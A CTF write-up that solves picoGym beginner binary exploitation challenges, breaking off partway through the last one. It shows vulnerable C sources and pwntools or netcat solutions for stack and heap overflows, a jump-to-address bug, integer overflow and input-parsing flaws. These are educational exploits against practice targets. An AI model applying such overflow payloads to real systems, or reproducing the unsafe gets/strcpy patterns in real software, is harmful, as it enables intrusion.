This is a writeup of the 15 easy binary exploitation challenges from picoGym.
You can find these challenges at picoGym
There’s also an extra challenge at the end from another CTF :)
Let’s get started ^^
We are given this C file:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}
By performing a checksec, we get the following result:
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Before getting started, I created a debugging flag on a file named flag.txt. That way we can make the program run locally.
If we take a look at the code, the flag.txt file will be read from and written into char flag[FLAGSIZE]
. The only way of displaying the contents of the flag is by triggering the signal function. That means that if we trigger a segmentation fault, for example, then we will have the flag contents displayed.
Luckily, the program uses the gets
function. It will write into the variable char buf1[100]
anything we want without considering its size. If we take a look at the vuln
function, we will see that it copies from the input argument (which will be the buf1) into a buffer with size 16.
So, if we overwrite the return address of the vuln function with some nonsense, that will definitely trigger a segmentation fault.
You can just put a lot of A
characters to make sure that the return address gets overwritten with it. I put AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
. By looking at the program on the gdb we can see this:
The program would crash as we have ‘AAAA’ as the return address and that is not valid. Running the program outside gdb will make it go through the sigsegv_handler
function, ultimately giving us the flag
flag: picoCTF{ov3rfl0ws_ar3nt_that_bad_c5ca6248}
Here is the provided C file:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
By performing a checksec we get the following:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
As the binary doesn’t have a stack cookie, we can easily overwrite the return address using the gets
function in vuln()
.
When overwriting the vuln
function return address, we need to fill the entire buffer char buf[BUFSIZE]
, some other things in between and then the return address.
I runned the program inside gdb and used the pattern create -n 4
command. I also put a breakpoint on the vuln function ret
instruction and run. When asked for an input, I provide the pattern generated by gdb. We end up on this situation:
There are a few important things here.
Notice the address printed on the top of the screen: Okay, time to return... Fingers Crossed... Jumping to 0x6161616c
.
The return address printed here is 0x6161616c
.
We can also confirm it by taking a look at the stack. We have:
0xffffd14c│+0x0000: "laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxa[...]"
at the top of it.
The first 4 characters are laaa
, which in hex equals to 0x6161616c
. This is the return address being used by the function. That means we can simply change the laaa
on our input to the return address we desire (in that the case the win
function so that we can get the flag).
As we don’t have PIE, we can simply use the win
function address directly, which is 0x080491f6
(you can get it by using the command disas win
on gdb or putting the program inside a decompiler like Ghidra)
Putting all of this together, here is my solve using pwntools:
context(arch = 'i386', os = 'linux')
r = remote(saturn.picoctf.net, 64507)
payload = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaa'
payload += int.to_bytes(0x080491f6, 4, 'little')
r.sendline(payload)
r.recvline()
r.recvline()
r.interactive()
Here is the source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
And here is the checksec result:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
We also have a gets
function on this one. I started this challenge by running gdb and using pattern create -n 4
on it. I put a breakpoint on the ret
instruction from the vuln
function and then provided the input with the generated pattern. This is a screenshot of my gdb instance:
I use pattern offset daabeaa
to find at which position I am overwriting the function return address.
That means we need to write 112 bytes of something to reach the return address. I overwrite it with the win
function return address (we don’t have PIE, so we can just grab it as it is and everything will be ok).
After overwriting the return address, we also need to take care of the function arguments. If we just write them right after the return address, when we make the comparation:
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
This is what will happen:
Notice how DWORD PTR [ebp+0x8]
contains 0xf00df00d
instead of 0xcafef00d
. We can solve it by simply adding 4 extra bytes right before the first argument so that everything gets aligned.
So far we have: 112 bytes + return address + 4 bytes of anything + first argument + second argument
Here is how I solved it:
from pwn import *
context(arch = "i386", os="linux", endian="little")
p = remote("saturn.picoctf.net", 58084)
payload = b'A' * 112
payload += p32(0x08049296)
payload += p32(0)
payload += p32(0xcafef00d)
payload += p32(0xf00df00d)
p.sendline(payload)
p.interactive()
This is a similar challenge to the previous ones. The main difference is that we now have a 64 bits file. Here is the source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFFSIZE 64
#define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
vuln();
return 0;
}
And here is the checksec result:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Here is the solve using pwntools:
The vuln
function uses gets
to write into the buffer of size 64. As the binary doesn’t use PIE, we can simply overwrite the return address with the flag
function address as we see it on the binary.
Our payload needs 64 bytes to fill the buffer + 8 bytes to write into the rbp + the return address we want to overwrite.
Here is my solve using pwntools:
from pwn import *
context(arch = "amd64", os="linux", endian="little")
p = remote("saturn.picoctf.net", 63716)
payload = b'A' * 72
payload += p64(0x000000000040123b)
p.sendline(payload)
p.recvline()
p.interactive()
That gives us the flag: picoCTF{b1663r_15_b3773r_d95e02b6}
Here is the source code:
#include <stdio.h>
#include <stdlib.h>
int main(){
FILE *fptr;
char c;
char input[16];
int num = 64;
printf("Enter a string: ");
fflush(stdout);
gets(input);
printf("\n");
printf("num is %d\n", num);
fflush(stdout);
if( num == 65 ){
printf("You win!\n");
fflush(stdout);
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
fflush(stdout);
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
fflush(stdout);
printf("\n");
fflush(stdout);
fclose(fptr);
exit(0);
}
printf("Bye!\n");
fflush(stdout);
}
And here is the checksec result:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Inspecting the source code, we need to trigger this conditional: if( num == 65 )
. But num is declared as 64
right after our variable input
. Luckily, there is a gets
function that writes into input
. We can use it to cause a buffer overflow and right into num
, which is a local variable and is therefore stored on the stack.
We just need to provide an input that overwrites our char buffer, overwrite the space in between the buffer and the num
variable, and then just overwrite the num
variable itself. As we want num
to be 65
, we can just write the character A
into it, as the ASCII value of it is 65
.
This is my solve:
nc saturn.picoctf.net 56776
Enter a string: AAAAAAAAAAAAAAAABBBBBBBBA
num is 65
You win!
picoCTF{l0c4l5_1n_5c0p3_ee58441a}
flag: picoCTF{l0c4l5_1n_5c0p3_ee58441a}
Here is the source code:
#include <stdio.h>
#include <stdlib.h>
#define SIZE 0x100
#define GOAL 0xdeadbeef
const char* HEADER =
" ______________________________________________________________________\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\^ ^ |\n"
"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\ ^ _ ^ / | | \\^ ^|\n"
"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | // | /_\\ ^| | ____ ____ | | ^ |\n"
"|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\n"
"| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
"|^ ^ ^ ^ ^| / ( \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\|^ ^|\n"
".-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\n"
"| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\ |^ ^|\n"
"| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|== =====\n"
"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" \n"
"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";
int main(void)
{
long code = 0;
char clutter[SIZE];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts(HEADER);
puts("My room is so cluttered...");
puts("What do you see?");
gets(clutter);
if (code == GOAL) {
printf("code == 0x%llx: how did that happen??\n", GOAL);
puts("take a flag for your troubles");
system("cat flag.txt");
} else {
printf("code == 0x%llx\n", code);
printf("code != 0x%llx :(\n", GOAL);
}
return 0;
}
And here is the checksec result:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
As we can see on the source code, clutter
is a char buffer of size 0x100. We need to overwrite the long code
variable with the value 0xdeadbeef
to print the flag.
As it is a local variable, long code
most probably will be at the stack. Let’s insert a breakpoint right before the gets
function and take a look at the stack at this moment:
0x7fffffffdff0
is the address on the rbp
register. If we take a look at the value immediatly before that, there is a bunch of 0’s, which are probably the code
variable. They are at the address 0x7fffffffdfe8
. By doing some simple math with the address of the top of the stack and the address of the variable, we get: 0x7fffffffdfe8 - 0x7fffffffdee0
= 264. So we need to provide an input of 264 characters + 0xdeadbeef to precisely overwrite the code
variable with the GOAL
Here is my solve:
from pwn import *
p = remote("mars.picoctf.net", 31890)
payload = b'A' * 264
payload += p64(0xdeadbeef)
p.sendline(payload)
p.interactive()
This is a simple challenge as you only need to read the source code to identify what’s wrong. Here is it:
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/
if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
bool play () {
char player_turn[100];
srand(time(0));
int r;
printf("Please make your selection (rock/paper/scissors):\n");
r = tgetinput(player_turn, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
int computer_turn = rand() % 3;
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
}
int main () {
char input[3] = {'\0'};
int command;
int r;
puts("Welcome challenger to the game of Rock, Paper, Scissors");
puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
puts("Are you ready?");
while (true) {
puts("Type '1' to play a game");
puts("Type '2' to exit the program");
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
printf("\n\n");
if (play()) {
wins++;
} else {
wins = 0;
}
if (wins >= 5) {
puts("Congrats, here's the flag!");
puts(flag);
}
} else if (command == 2) {
return 0;
} else {
puts("Please type either 1 or 2");
}
}
return 0;
}
We need to win 5 times in a row in order to get the flag. To check if your play wins against the computer play, the program does a strstr(player_turn, loses[computer_turn])
. It checks if your string input contains the string of the play that wins.
If we provide an input of rockpaperscissors
, that check will always hold true, as we have all the possibilities on the array loses
. I solved it manually:
nc saturn.picoctf.net 50553
Welcome challenger to the game of Rock, Paper, Scissors
For anyone that beats me 5 times in a row, I will offer up a flag I found
Are you ready?
Type '1' to play a game
Type '2' to exit the program
1
Please make your selection (rock/paper/scissors):
rockpaperscissors
You played: rockpaperscissors
The computer played: rock
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
Please make your selection (rock/paper/scissors):
rockpaperscissors
You played: rockpaperscissors
The computer played: scissors
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
Please make your selection (rock/paper/scissors):
rockpaperscissors
You played: rockpaperscissors
The computer played: paper
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
Please make your selection (rock/paper/scissors):
rockpaperscissors
You played: rockpaperscissors
The computer played: scissors
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
Please make your selection (rock/paper/scissors):
rockpaperscissors
You played: rockpaperscissors
The computer played: rock
You win! Play again?
Congrats, here's the flag!
picoCTF{50M3_3X7R3M3_1UCK_58F0F41B}
Type '1' to play a game
Type '2' to exit the program
2
Ncat: Broken pipe.
We can see the flag after the 5 wins.
flag: picoCTF{50M3_3X7R3M3_1UCK_58F0F41B}
This is the source code of the challenge:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5
int num_allocs;
char *safe_var;
char *input_data;
void check_win() {
if (strcmp(safe_var, "bico") != 0) {
printf("\nYOU WIN\n");
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("Looks like everything is still secure!\n");
printf("\nNo flage for you :(\n");
fflush(stdout);
}
}
void print_menu() {
printf("\n1. Print Heap:\t\t(print the current state of the heap)"
"\n2. Write to buffer:\t(write to your own personal block of data "
"on the heap)"
"\n3. Print safe_var:\t(I'll even let you look at my variable on "
"the heap, "
"I'm confident it can't be modified)"
"\n4. Print Flag:\t\t(Try to print the flag, good luck)"
"\n5. Exit\n\nEnter your choice: ");
fflush(stdout);
}
void init() {
printf("\nWelcome to heap0!\n");
printf(
"I put my data on the heap so it should be safe from any tampering.\n");
printf("Since my data isn't on the stack I'll even let you write whatever "
"info you want to the heap, I already took care of using malloc for "
"you.\n\n");
fflush(stdout);
input_data = malloc(INPUT_DATA_SIZE);
strncpy(input_data, "pico", INPUT_DATA_SIZE);
safe_var = malloc(SAFE_VAR_SIZE);
strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
void print_heap() {
printf("Heap State:\n");
printf("+-------------+----------------+\n");
printf("[*] Address -> Heap Data \n");
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", input_data, input_data);
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", safe_var, safe_var);
printf("+-------------+----------------+\n");
fflush(stdout);
}
int main(void) {
// Setup
init();
print_heap();
int choice;
while (1) {
print_menu();
int rval = scanf("%d", &choice);
if (rval == EOF){
exit(0);
}
if (rval != 1) {
//printf("Invalid input. Please enter a valid choice.\n");
//fflush(stdout);
// Clear input buffer
//while (getchar() != '\n');
//continue;
exit(0);
}
switch (choice) {
case 1:
// print heap
print_heap();
break;
case 2:
write_buffer();
break;
case 3:
// print safe_var
printf("\n\nTake a look at my variable: safe_var = %s\n\n",
safe_var);
fflush(stdout);
break;
case 4:
// Check for win condition
check_win();
break;
case 5:
// exit
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
And this is the checksec result of it:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
To win, we need to make this comparation
if (strcmp(safe_var, "bico") != 0)
works. That means safe_var
needs to be different from "bico"
.
safe_var
is defined globally, but we use it at the function init()
to make it become a string with "bico"
:
safe_var = malloc(SAFE_VAR_SIZE);
strncpy(safe_var, "bico", SAFE_VAR_SIZE);
When we use the write_buffer()
function, we do a scanf
of a string and insert it into the variable input_data
. If you pay close attention, input_data
and safe_var
are malloc’ed one after another, which means they are also located sequentially in memory. print_heap()
confirms that when we run it:
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x55bc1d8756b0 -> pico
+-------------+----------------+
[*] 0x55bc1d8756d0 -> bico
+-------------+----------------+
pico
is at the address 0x557a2f2bd6b0
and bico
is at the address 0x557a2f2bd6d0
. This is 32 bytes of distance. If we write into input_data
with 32 bytes + something else, this something else will be written at the safe_var
variable.
You can write the following input on the write_buffer
function:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnoop
After that, you can check using print_heap()
that we indeed changed the safe_var
:
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x55bc1d8756b0 -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnoop
+-------------+----------------+
[*] 0x55bc1d8756d0 -> noop
+-------------+----------------+
We can then just print the flag.
flag: picoCTF{my_first_heap_overflow_76775c7c}
On heap 1, we have almost the same code from heap0, but the comparation used to get the flag is different. Here is how it is on heap1:
if (!strcmp(safe_var, "pico"))
The only difference here is that now we want the safe_var
to be "pico"
On the previous solution, we changed our safe_var
to noop
. We can just use the same solution but change it to "pico"
then:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico
flag: picoCTF{starting_to_get_the_hang_e9fbcea5}
This is the provided source code:
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void print_segf_message(){
printf("Segfault triggered! Exiting.\n");
sleep(15);
exit(SIGSEGV);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, print_segf_message);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
unsigned int val;
printf("Enter the address in hex to jump to, excluding '0x': ");
scanf("%x", &val);
printf("You input 0x%x\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
And this is the checksec result:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Apparently, the code will ask us for an address in hex and jump to it. As we don’t have PIE, we can just pick the address with no worries. I used gdb to get the address of the win
function: 0x40129e
The scanf will read an hex value, so here is what I did:
nc saturn.picoctf.net 59045
Enter the address in hex to jump to, excluding '0x': 40129e
You input 0x40129e
You won!
picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4}
flag: picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4}
The source code is a bit long, but here it is:
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
static char data[10][100];
static int input_lengths[10];
static int inputs = 0;
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/
if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
static void data_write() {
char input[100];
char len[4];
long length;
int r;
printf("Please enter your data:\n");
r = tgetinput(input, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
while (true) {
printf("Please enter the length of your data:\n");
r = tgetinput(len, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((length = strtol(len, NULL, 10)) == 0) {
puts("Please put in a valid length");
} else {
break;
}
}
if (inputs > 10) {
inputs = 0;
}
strcpy(data[inputs], input);
input_lengths[inputs] = length;
printf("Your entry number is: %d\n", inputs + 1);
inputs++;
}
static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;
memset(output, '\0', 100);
printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}
int main(int argc, char** argv) {
char input[3] = {'\0'};
long command;
int r;
puts("Hi, welcome to my echo chamber!");
puts("Type '1' to enter a phrase into our database");
puts("Type '2' to echo a phrase in our database");
puts("Type '3' to exit the program");
while (true) {
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
data_write();
puts("Write successful, would you like to do anything else?");
} else if (command == 2) {
if (inputs == 0) {
puts("No data yet");
continue;
}
data_read();
puts("Read successful, would you like to do anything else?");
} else if (command == 3) {
return 0;
} else {
puts("Please type either 1, 2 or 3");
puts("Maybe breaking boundaries elsewhere will be helpful");
}
}
return 0;
}
We are not provided with a binary file for this one, but you can compile the source code to test stuff.
By looking at the source code, we need to trigger this conditional:
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
To trigger this conditional, you need to ensure that the conversion of the entry
string to a long integer using strtol
results in 0
. We can achieve that by providing an input like 0
or something that is invalid like abc
.
Here is my solve:
nc saturn.picoctf.net 56510
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
Please enter your data:
nvsuinvfuisj
Please enter the length of your data:
10
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
0
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_1B9F5942}
flag: picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_1B9F5942}
We are given this source code:
#include <stdio.h>
#include <stdlib.h>
static int addIntOvf(int result, int a, int b) {
result = a + b;
if(a > 0 && b > 0 && result < 0)
return -1;
if(a < 0 && b < 0 && result > 0)
return -1;
return 0;
}
int main() {
int num1, num2, sum;
FILE *flag;
char c;
printf("n1 > n1 + n2 OR n2 > n1 + n2 \n");
fflush(stdout);
printf("What two positive numbers can make this possible: \n");
fflush(stdout);
if (scanf("%d", &num1) && scanf("%d", &num2)) {
printf("You entered %d and %d\n", num1, num2);
fflush(stdout);
sum = num1 + num2;
if (addIntOvf(sum, num1, num2) == 0) {
printf("No overflow\n");
fflush(stdout);
exit(0);
} else if (addIntOvf(sum, num1, num2) == -1) {
printf("You have an integer overflow\n");
fflush(stdout);
}
if (num1 > 0 || num2 > 0) {
flag = fopen("flag.txt","r");
if(flag == NULL){
printf("flag not found: please run this on the server\n");
fflush(stdout);
exit(0);
}
char buf[60];
fgets(buf, 59, flag);
printf("YOUR FLAG IS: %s\n", buf);
fflush(stdout);
exit(0);
}
}
return 0;
}
We are not given any binary file.
Analyzing the source code, we need to trigger this:
else if (addIntOvf(sum, num1, num2) == -1)
and this:
if (num1 > 0 || num2 > 0)
To return -1
on the addIntOvf
function, we have to provide two positive integers that result in a negative integer (We need to choose two positive integers because of the second condition previously stated). In other words, we need an integer overflow.
int
is a 4-byte variable. The maximum size of it is 2147483647
(2^31 - 1). So if we have num1
as 2147483647
and num2
as 1
, there will be an integer overflow. Let’s try it:
nc saturn.picoctf.net 62116
n1 > n1 + n2 OR n2 > n1 + n2
What two positive numbers can make this possible:
2147483647
1
You entered 2147483647 and 1
You have an integer overflow
YOUR FLAG IS: picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_e06700c0}
flag: picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_e06700c0}
Here is the source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 32
#define FLAGSIZE 64
char flag[FLAGSIZE];
void sigsegv_handler(int sig) {
printf("\n%s\n", flag);
fflush(stdout);
exit(1);
}
int on_menu(char *burger, char *menu[], int count) {
for (int i = 0; i < count; i++) {
if (strcmp(burger, menu[i]) == 0)
return 1;
}
return 0;
}
void serve_patrick();
void serve_bob();
int main(int argc, char **argv){
